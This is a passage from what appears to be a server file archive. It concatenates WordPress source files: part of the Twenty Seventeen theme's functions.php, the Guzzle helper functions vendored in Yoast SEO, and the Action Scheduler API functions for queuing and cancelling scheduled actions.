sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ), get_the_title( get_the_ID() ) )
);
return ' … ' . $link;
}
add_filter( 'excerpt_more', 'twentyseventeen_excerpt_more' );
/**
* Handles JavaScript detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Seventeen 1.0
*/
function twentyseventeen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentyseventeen_javascript_detection', 0 );
/**
* Add a pingback url auto-discovery header for singularly identifiable articles.
*/
function twentyseventeen_pingback_header() {
if ( is_singular() && pings_open() ) {
printf( '<link rel="pingback" href="%s">' . "\n", get_bloginfo( 'pingback_url' ) );
}
}
add_action( 'wp_head', 'twentyseventeen_pingback_header' );
/**
* Display custom color CSS.
*/
function twentyseventeen_colors_css_wrap() {
if ( 'custom' !== get_theme_mod( 'colorscheme' ) && ! is_customize_preview() ) {
return;
}
require_once( get_parent_theme_file_path( '/inc/color-patterns.php' ) );
$hue = absint( get_theme_mod( 'colorscheme_hue', 250 ) );
$customize_preview_data_hue = '';
if ( is_customize_preview() ) {
$customize_preview_data_hue = 'data-hue="' . $hue . '"';
}
?>
<style type="text/css" id="custom-theme-colors" <?php echo $customize_preview_data_hue; ?>>
<?php echo twentyseventeen_custom_colors_css(); ?>
</style>
<?php
}
add_action( 'wp_head', 'twentyseventeen_colors_css_wrap' );
/**
* Enqueue scripts and styles.
*/
function twentyseventeen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
// Theme stylesheet.
wp_enqueue_style( 'twentyseventeen-style', get_stylesheet_uri() );
// Load the dark colorscheme.
if ( 'dark' === get_theme_mod( 'colorscheme', 'light' ) || is_customize_preview() ) {
wp_enqueue_style( 'twentyseventeen-colors-dark', get_theme_file_uri( '/assets/css/colors-dark.css' ), array( 'twentyseventeen-style' ), '1.0' );
}
// Load the Internet Explorer 9 specific stylesheet, to fix display issues in the Customizer.
if ( is_customize_preview() ) {
wp_enqueue_style( 'twentyseventeen-ie9', get_theme_file_uri( '/assets/css/ie9.css' ), array( 'twentyseventeen-style' ), '1.0' );
wp_style_add_data( 'twentyseventeen-ie9', 'conditional', 'IE 9' );
}
// Load the Internet Explorer 8 specific stylesheet.
wp_enqueue_style( 'twentyseventeen-ie8', get_theme_file_uri( '/assets/css/ie8.css' ), array( 'twentyseventeen-style' ), '1.0' );
wp_style_add_data( 'twentyseventeen-ie8', 'conditional', 'lt IE 9' );
// Load the html5 shiv.
wp_enqueue_script( 'html5', get_theme_file_uri( '/assets/js/html5.js' ), array(), '3.7.3' );
wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );
wp_enqueue_script( 'twentyseventeen-skip-link-focus-fix', get_theme_file_uri( '/assets/js/skip-link-focus-fix.js' ), array(), '1.0', true );
$twentyseventeen_l10n = array(
'quote' => twentyseventeen_get_svg( array( 'icon' => 'quote-right' ) ),
);
if ( has_nav_menu( 'top' ) ) {
wp_enqueue_script( 'twentyseventeen-navigation', get_theme_file_uri( '/assets/js/navigation.js' ), array( 'jquery' ), '1.0', true );
$twentyseventeen_l10n['expand'] = __( 'Expand child menu', 'twentyseventeen' );
$twentyseventeen_l10n['collapse'] = __( 'Collapse child menu', 'twentyseventeen' );
$twentyseventeen_l10n['icon'] = twentyseventeen_get_svg(
array(
'icon' => 'angle-down',
'fallback' => true,
)
);
}
wp_enqueue_script( 'twentyseventeen-global', get_theme_file_uri( '/assets/js/global.js' ), array( 'jquery' ), '1.0', true );
wp_enqueue_script( 'jquery-scrollto', get_theme_file_uri( '/assets/js/jquery.scrollTo.js' ), array( 'jquery' ), '2.1.2', true );
wp_localize_script( 'twentyseventeen-skip-link-focus-fix', 'twentyseventeenScreenReaderText', $twentyseventeen_l10n );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'twentyseventeen_scripts' );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for content images.
*
* @since Twenty Seventeen 1.0
*
* @param string $sizes A source size value for use in a 'sizes' attribute.
* @param array $size Image size. Accepts an array of width and height
* values in pixels (in that order).
* @return string A source size value for use in a content image 'sizes' attribute.
*/
function twentyseventeen_content_image_sizes_attr( $sizes, $size ) {
$width = $size[0];
if ( 740 <= $width ) {
$sizes = '(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px';
}
if ( is_active_sidebar( 'sidebar-1' ) || is_archive() || is_search() || is_home() || is_page() ) {
if ( ! ( is_page() && 'one-column' === get_theme_mod( 'page_options' ) ) && 767 <= $width ) {
$sizes = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
}
}
return $sizes;
}
add_filter( 'wp_calculate_image_sizes', 'twentyseventeen_content_image_sizes_attr', 10, 2 );
/**
* Filter the `sizes` value in the header image markup.
*
* @since Twenty Seventeen 1.0
*
* @param string $html The HTML image tag markup being filtered.
* @param object $header The custom header object returned by 'get_custom_header()'.
* @param array $attr Array of the attributes for the image tag.
* @return string The filtered header image HTML.
*/
function twentyseventeen_header_image_tag( $html, $header, $attr ) {
if ( isset( $attr['sizes'] ) ) {
$html = str_replace( $attr['sizes'], '100vw', $html );
}
return $html;
}
add_filter( 'get_header_image_tag', 'twentyseventeen_header_image_tag', 10, 3 );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for post thumbnails.
*
* @since Twenty Seventeen 1.0
*
* @param array $attr Attributes for the image markup.
* @param int $attachment Image attachment ID.
* @param array $size Registered image size or flat array of height and width dimensions.
* @return array The filtered attributes for the image markup.
*/
function twentyseventeen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
if ( is_archive() || is_search() || is_home() ) {
$attr['sizes'] = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
} else {
$attr['sizes'] = '100vw';
}
return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'twentyseventeen_post_thumbnail_sizes_attr', 10, 3 );
/**
* Use front-page.php when Front page displays is set to a static page.
*
* @since Twenty Seventeen 1.0
*
* @param string $template front-page.php.
*
* @return string The template to be used: blank if is_home() is true (defaults to index.php), else $template.
*/
function twentyseventeen_front_page_template( $template ) {
return is_home() ? '' : $template;
}
add_filter( 'frontpage_template', 'twentyseventeen_front_page_template' );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Seventeen 1.4
*
* @param array $args Arguments for tag cloud widget.
* @return array The filtered arguments for tag cloud widget.
*/
function twentyseventeen_widget_tag_cloud_args( $args ) {
$args['largest'] = 1;
$args['smallest'] = 1;
$args['unit'] = 'em';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentyseventeen_widget_tag_cloud_args' );
/**
* Implement the Custom Header feature.
*/
require get_parent_theme_file_path( '/inc/custom-header.php' );
/**
* Custom template tags for this theme.
*/
require get_parent_theme_file_path( '/inc/template-tags.php' );
/**
* Additional features to allow styling of the templates.
*/
require get_parent_theme_file_path( '/inc/template-functions.php' );
/**
* Customizer additions.
*/
require get_parent_theme_file_path( '/inc/customizer.php' );
/**
* SVG icons functions and filters.
*/
require get_parent_theme_file_path( '/inc/icon-functions.php' );
xbodynamge/www/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/functions.php 0000644 00000024120 15114174535 0031231 0 ustar 00 home <?php
namespace YoastSEO_Vendor\GuzzleHttp;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\Proxy;
use YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler;
/**
* Expands a URI template
*
* @param string $template URI template
* @param array $variables Template variables
*
* @return string
*/
function uri_template($template, array $variables)
{
if (\extension_loaded('uri_template')) {
// @codeCoverageIgnoreStart
return \YoastSEO_Vendor\uri_template($template, $variables);
// @codeCoverageIgnoreEnd
}
static $uriTemplate;
if (!$uriTemplate) {
$uriTemplate = new \YoastSEO_Vendor\GuzzleHttp\UriTemplate();
}
return $uriTemplate->expand($template, $variables);
}
/**
* Debug function used to describe the provided value type and class.
*
* @param mixed $input
*
* @return string Returns a string containing the type of the variable and
* if a class is provided, the class name.
*/
function describe_type($input)
{
switch (\gettype($input)) {
case 'object':
return 'object(' . \get_class($input) . ')';
case 'array':
return 'array(' . \count($input) . ')';
default:
\ob_start();
\var_dump($input);
// normalize float vs double
return \str_replace('double(', 'float(', \rtrim(\ob_get_clean()));
}
}
/**
* Parses an array of header lines into an associative array of headers.
*
* @param iterable $lines Header lines array of strings in the following
* format: "Name: Value"
* @return array
*/
function headers_from_lines($lines)
{
$headers = [];
foreach ($lines as $line) {
$parts = \explode(':', $line, 2);
$headers[\trim($parts[0])][] = isset($parts[1]) ? \trim($parts[1]) : null;
}
return $headers;
}
/**
* Returns a debug stream based on the provided variable.
*
* @param mixed $value Optional value
*
* @return resource
*/
function debug_resource($value = null)
{
if (\is_resource($value)) {
return $value;
} elseif (\defined('STDOUT')) {
return \STDOUT;
}
return \fopen('php://output', 'w');
}
/**
* Chooses and creates a default handler to use based on the environment.
*
* The returned handler is not wrapped by any default middlewares.
*
* @return callable Returns the best handler for the given system.
* @throws \RuntimeException if no viable Handler is available.
*/
function choose_handler()
{
$handler = null;
if (\function_exists('curl_multi_exec') && \function_exists('curl_exec')) {
$handler = \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapSync(new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler(), new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler());
} elseif (\function_exists('curl_exec')) {
$handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler();
} elseif (\function_exists('curl_multi_exec')) {
$handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler();
}
if (\ini_get('allow_url_fopen')) {
$handler = $handler ? \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapStreaming($handler, new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler()) : new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler();
} elseif (!$handler) {
throw new \RuntimeException('GuzzleHttp requires cURL, the ' . 'allow_url_fopen ini setting, or a custom HTTP handler.');
}
return $handler;
}
/**
* Get the default User-Agent string to use with Guzzle
*
* @return string
*/
function default_user_agent()
{
static $defaultAgent = '';
if (!$defaultAgent) {
$defaultAgent = 'GuzzleHttp/' . \YoastSEO_Vendor\GuzzleHttp\Client::VERSION;
if (\extension_loaded('curl') && \function_exists('curl_version')) {
$defaultAgent .= ' curl/' . \curl_version()['version'];
}
$defaultAgent .= ' PHP/' . \PHP_VERSION;
}
return $defaultAgent;
}
/**
* Returns the default cacert bundle for the current system.
*
* First, the openssl.cafile and curl.cainfo php.ini settings are checked.
* If those settings are not configured, then the common locations for
* bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
* and Windows are checked. If any of these file locations are found on
* disk, they will be utilized.
*
* Note: the result of this function is cached for subsequent calls.
*
* @return string
* @throws \RuntimeException if no bundle can be found.
*/
function default_ca_bundle()
{
static $cached = null;
static $cafiles = [
// Red Hat, CentOS, Fedora (provided by the ca-certificates package)
'/etc/pki/tls/certs/ca-bundle.crt',
// Ubuntu, Debian (provided by the ca-certificates package)
'/etc/ssl/certs/ca-certificates.crt',
// FreeBSD (provided by the ca_root_nss package)
'/usr/local/share/certs/ca-root-nss.crt',
// SLES 12 (provided by the ca-certificates package)
'/var/lib/ca-certificates/ca-bundle.pem',
// OS X provided by homebrew (using the default path)
'/usr/local/etc/openssl/cert.pem',
// Google app engine
'/etc/ca-certificates.crt',
// Windows?
'C:\\windows\\system32\\curl-ca-bundle.crt',
'C:\\windows\\curl-ca-bundle.crt',
];
if ($cached) {
return $cached;
}
if ($ca = \ini_get('openssl.cafile')) {
return $cached = $ca;
}
if ($ca = \ini_get('curl.cainfo')) {
return $cached = $ca;
}
foreach ($cafiles as $filename) {
if (\file_exists($filename)) {
return $cached = $filename;
}
}
throw new \RuntimeException(<<<EOT
No system CA bundle could be found in any of the the common system locations.
PHP versions earlier than 5.6 are not properly configured to use the system's
CA bundle by default. In order to verify peer certificates, you will need to
supply the path on disk to a certificate bundle to the 'verify' request
option: http://docs.guzzlephp.org/en/latest/clients.html#verify. If you do not
need a specific certificate bundle, then Mozilla provides a commonly used CA
bundle which can be downloaded here (provided by the maintainer of cURL):
https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt. Once
you have a CA bundle available on disk, you can set the 'openssl.cafile' PHP
ini setting to point to the path to the file, allowing you to omit the 'verify'
request option. See http://curl.haxx.se/docs/sslcerts.html for more
information.
EOT
);
}
/**
* Creates an associative array of lowercase header names to the actual
* header casing.
*
* @param array $headers
*
* @return array
*/
function normalize_header_keys(array $headers)
{
$result = [];
foreach (\array_keys($headers) as $key) {
$result[\strtolower($key)] = $key;
}
return $result;
}
/**
* Returns true if the provided host matches any of the no proxy areas.
*
* This method will strip a port from the host if it is present. Each pattern
* can be matched with an exact match (e.g., "foo.com" == "foo.com") or a
* partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" ==
* "baz.foo.com", but ".foo.com" != "foo.com").
*
* Areas are matched in the following cases:
* 1. "*" (without quotes) always matches any hosts.
* 2. An exact match.
* 3. The area starts with "." and the area is the last part of the host. e.g.
* '.mit.edu' will match any host that ends with '.mit.edu'.
*
* @param string $host Host to check against the patterns.
* @param array $noProxyArray An array of host patterns.
*
* @return bool
*/
function is_host_in_noproxy($host, array $noProxyArray)
{
if (\strlen($host) === 0) {
throw new \InvalidArgumentException('Empty host provided');
}
// Strip port if present.
if (\strpos($host, ':')) {
$host = \explode($host, ':', 2)[0];
}
foreach ($noProxyArray as $area) {
// Always match on wildcards.
if ($area === '*') {
return \true;
} elseif (empty($area)) {
// Don't match on empty values.
continue;
} elseif ($area === $host) {
// Exact matches.
return \true;
} else {
// Special match if the area when prefixed with ".". Remove any
// existing leading "." and add a new leading ".".
$area = '.' . \ltrim($area, '.');
if (\substr($host, -\strlen($area)) === $area) {
return \true;
}
}
}
return \false;
}
/**
* Wrapper for json_decode that throws when an error occurs.
*
* @param string $json JSON data to parse
* @param bool $assoc When true, returned objects will be converted
* into associative arrays.
* @param int $depth User specified recursion depth.
* @param int $options Bitmask of JSON decode options.
*
* @return mixed
* @throws Exception\InvalidArgumentException if the JSON cannot be decoded.
* @link http://www.php.net/manual/en/function.json-decode.php
*/
function json_decode($json, $assoc = \false, $depth = 512, $options = 0)
{
$data = \json_decode($json, $assoc, $depth, $options);
if (\JSON_ERROR_NONE !== \json_last_error()) {
throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_decode error: ' . \json_last_error_msg());
}
return $data;
}
/**
* Wrapper for JSON encoding that throws when an error occurs.
*
* @param mixed $value The value being encoded
* @param int $options JSON encode option bitmask
* @param int $depth Set the maximum depth. Must be greater than zero.
*
* @return string
* @throws Exception\InvalidArgumentException if the JSON cannot be encoded.
* @link http://www.php.net/manual/en/function.json-encode.php
*/
function json_encode($value, $options = 0, $depth = 512)
{
$json = \json_encode($value, $options, $depth);
if (\JSON_ERROR_NONE !== \json_last_error()) {
throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_encode error: ' . \json_last_error_msg());
}
return $json;
}
dev/wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/functions.php 0000644 00000045301 15114230152 0031325 0 ustar 00 home/xbodynamge <?php
/**
* General API functions for scheduling actions
*
* @package ActionScheduler.
*/
/**
* Enqueue an action to run one time, as soon as possible
*
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique. It will not be scheduled if another pending or running action has the same hook and group parameters.
* @param int $priority Lower values take precedence over higher values. Defaults to 10, with acceptable values falling in the range 0-255.
*
* @return int The action ID. Zero if there was an error scheduling the action.
*/
function as_enqueue_async_action( $hook, $args = array(), $group = '', $unique = false, $priority = 10 ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing async
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the enqueued action ID (enqueued using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
* @param int $priority Action priority.
* @param bool $unique Unique action.
*/
$pre = apply_filters( 'pre_as_enqueue_async_action', null, $hook, $args, $group, $priority, $unique );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->create(
array(
'type' => 'async',
'hook' => $hook,
'arguments' => $args,
'group' => $group,
'unique' => $unique,
'priority' => $priority,
)
);
}
/**
* Schedule an action to run one time
*
* @param int $timestamp When the job will run.
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique. It will not be scheduled if another pending or running action has the same hook and group parameters.
* @param int $priority Lower values take precedence over higher values. Defaults to 10, with acceptable values falling in the range 0-255.
*
* @return int The action ID. Zero if there was an error scheduling the action.
*/
function as_schedule_single_action( $timestamp, $hook, $args = array(), $group = '', $unique = false, $priority = 10 ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing single
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
* @param int $priorities Action priority.
*/
$pre = apply_filters( 'pre_as_schedule_single_action', null, $timestamp, $hook, $args, $group, $priority );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->create(
array(
'type' => 'single',
'hook' => $hook,
'arguments' => $args,
'when' => $timestamp,
'group' => $group,
'unique' => $unique,
'priority' => $priority,
)
);
}
/**
* Schedule a recurring action
*
* @param int $timestamp When the first instance of the job will run.
* @param int $interval_in_seconds How long to wait between runs.
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique. It will not be scheduled if another pending or running action has the same hook and group parameters.
* @param int $priority Lower values take precedence over higher values. Defaults to 10, with acceptable values falling in the range 0-255.
*
* @return int The action ID. Zero if there was an error scheduling the action.
*/
function as_schedule_recurring_action( $timestamp, $interval_in_seconds, $hook, $args = array(), $group = '', $unique = false, $priority = 10 ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
$interval = (int) $interval_in_seconds;
// We expect an integer and allow it to be passed using float and string types, but otherwise
// should reject unexpected values.
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
if ( ! is_numeric( $interval_in_seconds ) || $interval_in_seconds != $interval ) {
_doing_it_wrong(
__METHOD__,
sprintf(
/* translators: 1: provided value 2: provided type. */
esc_html__( 'An integer was expected but "%1$s" (%2$s) was received.', 'action-scheduler' ),
esc_html( $interval_in_seconds ),
esc_html( gettype( $interval_in_seconds ) )
),
'3.6.0'
);
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing recurring
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param int $interval_in_seconds How long to wait between runs.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
* @param int $priority Action priority.
*/
$pre = apply_filters( 'pre_as_schedule_recurring_action', null, $timestamp, $interval_in_seconds, $hook, $args, $group, $priority );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->create(
array(
'type' => 'recurring',
'hook' => $hook,
'arguments' => $args,
'when' => $timestamp,
'pattern' => $interval_in_seconds,
'group' => $group,
'unique' => $unique,
'priority' => $priority,
)
);
}
/**
* Schedule an action that recurs on a cron-like schedule.
*
* @param int $timestamp The first instance of the action will be scheduled
* to run at a time calculated after this timestamp matching the cron
* expression. This can be used to delay the first instance of the action.
* @param string $schedule A cron-link schedule string.
* @see http://en.wikipedia.org/wiki/Cron
* * * * * * *
* ┬ ┬ ┬ ┬ ┬ ┬
* | | | | | |
* | | | | | + year [optional]
* | | | | +----- day of week (0 - 7) (Sunday=0 or 7)
* | | | +---------- month (1 - 12)
* | | +--------------- day of month (1 - 31)
* | +-------------------- hour (0 - 23)
* +------------------------- min (0 - 59)
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique. It will not be scheduled if another pending or running action has the same hook and group parameters.
* @param int $priority Lower values take precedence over higher values. Defaults to 10, with acceptable values falling in the range 0-255.
*
* @return int The action ID. Zero if there was an error scheduling the action.
*/
function as_schedule_cron_action( $timestamp, $schedule, $hook, $args = array(), $group = '', $unique = false, $priority = 10 ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing cron
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param string $schedule Cron-like schedule string.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
* @param int $priority Action priority.
*/
$pre = apply_filters( 'pre_as_schedule_cron_action', null, $timestamp, $schedule, $hook, $args, $group, $priority );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->create(
array(
'type' => 'cron',
'hook' => $hook,
'arguments' => $args,
'when' => $timestamp,
'pattern' => $schedule,
'group' => $group,
'unique' => $unique,
'priority' => $priority,
)
);
}
/**
* Cancel the next occurrence of a scheduled action.
*
* While only the next instance of a recurring or cron action is unscheduled by this method, that will also prevent
* all future instances of that recurring or cron action from being run. Recurring and cron actions are scheduled in
* a sequence instead of all being scheduled at once. Each successive occurrence of a recurring action is scheduled
* only after the former action is run. If the next instance is never run, because it's unscheduled by this function,
* then the following instance will never be scheduled (or exist), which is effectively the same as being unscheduled
* by this method also.
*
* @param string $hook The hook that the job will trigger.
* @param array $args Args that would have been passed to the job.
* @param string $group The group the job is assigned to.
*
* @return int|null The scheduled action ID if a scheduled action was found, or null if no matching action found.
*/
function as_unschedule_action( $hook, $args = array(), $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
$params = array(
'hook' => $hook,
'status' => ActionScheduler_Store::STATUS_PENDING,
'orderby' => 'date',
'order' => 'ASC',
'group' => $group,
);
if ( is_array( $args ) ) {
$params['args'] = $args;
}
$action_id = ActionScheduler::store()->query_action( $params );
if ( $action_id ) {
try {
ActionScheduler::store()->cancel_action( $action_id );
} catch ( Exception $exception ) {
ActionScheduler::logger()->log(
$action_id,
sprintf(
/* translators: %1$s is the name of the hook to be cancelled, %2$s is the exception message. */
__( 'Caught exception while cancelling action "%1$s": %2$s', 'action-scheduler' ),
$hook,
$exception->getMessage()
)
);
$action_id = null;
}
}
return $action_id;
}
/**
* Cancel all occurrences of a scheduled action.
*
* @param string $hook The hook that the job will trigger.
* @param array $args Args that would have been passed to the job.
* @param string $group The group the job is assigned to.
*/
function as_unschedule_all_actions( $hook, $args = array(), $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return;
}
if ( empty( $args ) ) {
if ( ! empty( $hook ) && empty( $group ) ) {
ActionScheduler_Store::instance()->cancel_actions_by_hook( $hook );
return;
}
if ( ! empty( $group ) && empty( $hook ) ) {
ActionScheduler_Store::instance()->cancel_actions_by_group( $group );
return;
}
}
do {
$unscheduled_action = as_unschedule_action( $hook, $args, $group );
} while ( ! empty( $unscheduled_action ) );
}
/**
* Check if there is an existing action in the queue with a given hook, args and group combination.
*
* An action in the queue could be pending, in-progress or async. If the is pending for a time in
* future, its scheduled date will be returned as a timestamp. If it is currently being run, or an
* async action sitting in the queue waiting to be processed, in which case boolean true will be
* returned. Or there may be no async, in-progress or pending action for this hook, in which case,
* boolean false will be the return value.
*
* @param string $hook Name of the hook to search for.
* @param array $args Arguments of the action to be searched.
* @param string $group Group of the action to be searched.
*
* @return int|bool The timestamp for the next occurrence of a pending scheduled action, true for an async or in-progress action or false if there is no matching action.
*/
function as_next_scheduled_action( $hook, $args = null, $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return false;
}
$params = array(
'hook' => $hook,
'orderby' => 'date',
'order' => 'ASC',
'group' => $group,
);
if ( is_array( $args ) ) {
$params['args'] = $args;
}
$params['status'] = ActionScheduler_Store::STATUS_RUNNING;
$action_id = ActionScheduler::store()->query_action( $params );
if ( $action_id ) {
return true;
}
$params['status'] = ActionScheduler_Store::STATUS_PENDING;
$action_id = ActionScheduler::store()->query_action( $params );
if ( null === $action_id ) {
return false;
}
$action = ActionScheduler::store()->fetch_action( $action_id );
$scheduled_date = $action->get_schedule()->get_date();
if ( $scheduled_date ) {
return (int) $scheduled_date->format( 'U' );
} elseif ( null === $scheduled_date ) { // pending async action with NullSchedule.
return true;
}
return false;
}
/**
* Check if there is a scheduled action in the queue but more efficiently than as_next_scheduled_action().
*
* It's recommended to use this function when you need to know whether a specific action is currently scheduled
* (pending or in-progress).
*
* @since 3.3.0
*
* @param string $hook The hook of the action.
* @param array $args Args that have been passed to the action. Null will matches any args.
* @param string $group The group the job is assigned to.
*
* @return bool True if a matching action is pending or in-progress, false otherwise.
*/
function as_has_scheduled_action( $hook, $args = null, $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return false;
}
$query_args = array(
'hook' => $hook,
'status' => array( ActionScheduler_Store::STATUS_RUNNING, ActionScheduler_Store::STATUS_PENDING ),
'group' => $group,
'orderby' => 'none',
);
if ( null !== $args ) {
$query_args['args'] = $args;
}
$action_id = ActionScheduler::store()->query_action( $query_args );
return null !== $action_id;
}
/**
* Find scheduled actions
*
* @param array $args Possible arguments, with their default values.
* 'hook' => '' - the name of the action that will be triggered.
* 'args' => NULL - the args array that will be passed with the action.
* 'date' => NULL - the scheduled date of the action. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone.
* 'date_compare' => '<=' - operator for testing "date". accepted values are '!=', '>', '>=', '<', '<=', '='.
* 'modified' => NULL - the date the action was last updated. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone.
* 'modified_compare' => '<=' - operator for testing "modified". accepted values are '!=', '>', '>=', '<', '<=', '='.
* 'group' => '' - the group the action belongs to.
* 'status' => '' - ActionScheduler_Store::STATUS_COMPLETE or ActionScheduler_Store::STATUS_PENDING.
* 'claimed' => NULL - TRUE to find claimed actions, FALSE to find unclaimed actions, a string to find a specific claim ID.
* 'per_page' => 5 - Number of results to return.
* 'offset' => 0.
* 'orderby' => 'date' - accepted values are 'hook', 'group', 'modified', 'date' or 'none'.
* 'order' => 'ASC'.
*
* @param string $return_format OBJECT, ARRAY_A, or ids.
*
* @return array
*/
function as_get_scheduled_actions( $args = array(), $return_format = OBJECT ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return array();
}
$store = ActionScheduler::store();
foreach ( array( 'date', 'modified' ) as $key ) {
if ( isset( $args[ $key ] ) ) {
$args[ $key ] = as_get_datetime_object( $args[ $key ] );
}
}
$ids = $store->query_actions( $args );
if ( 'ids' === $return_format || 'int' === $return_format ) {
return $ids;
}
$actions = array();
foreach ( $ids as $action_id ) {
$actions[ $action_id ] = $store->fetch_action( $action_id );
}
if ( ARRAY_A === $return_format ) {
foreach ( $actions as $action_id => $action_object ) {
$actions[ $action_id ] = get_object_vars( $action_object );
}
}
return $actions;
}
/**
* Helper function to create an instance of DateTime based on a given
* string and timezone. By default, will return the current date/time
* in the UTC timezone.
*
* Needed because new DateTime() called without an explicit timezone
* will create a date/time in PHP's timezone, but we need to have
* assurance that a date/time uses the right timezone (which we almost
* always want to be UTC), which means we need to always include the
* timezone when instantiating datetimes rather than leaving it up to
* the PHP default.
*
* @param mixed $date_string A date/time string. Valid formats are explained in http://php.net/manual/en/datetime.formats.php.
* @param string $timezone A timezone identifier, like UTC or Europe/Lisbon. The list of valid identifiers is available http://php.net/manual/en/timezones.php.
*
* @return ActionScheduler_DateTime
*/
function as_get_datetime_object( $date_string = null, $timezone = 'UTC' ) {
if ( is_object( $date_string ) && $date_string instanceof DateTime ) {
$date = new ActionScheduler_DateTime( $date_string->format( 'Y-m-d H:i:s' ), new DateTimeZone( $timezone ) );
} elseif ( is_numeric( $date_string ) ) {
$date = new ActionScheduler_DateTime( '@' . $date_string, new DateTimeZone( $timezone ) );
} else {
$date = new ActionScheduler_DateTime( null === $date_string ? 'now' : $date_string, new DateTimeZone( $timezone ) );
}
return $date;
}
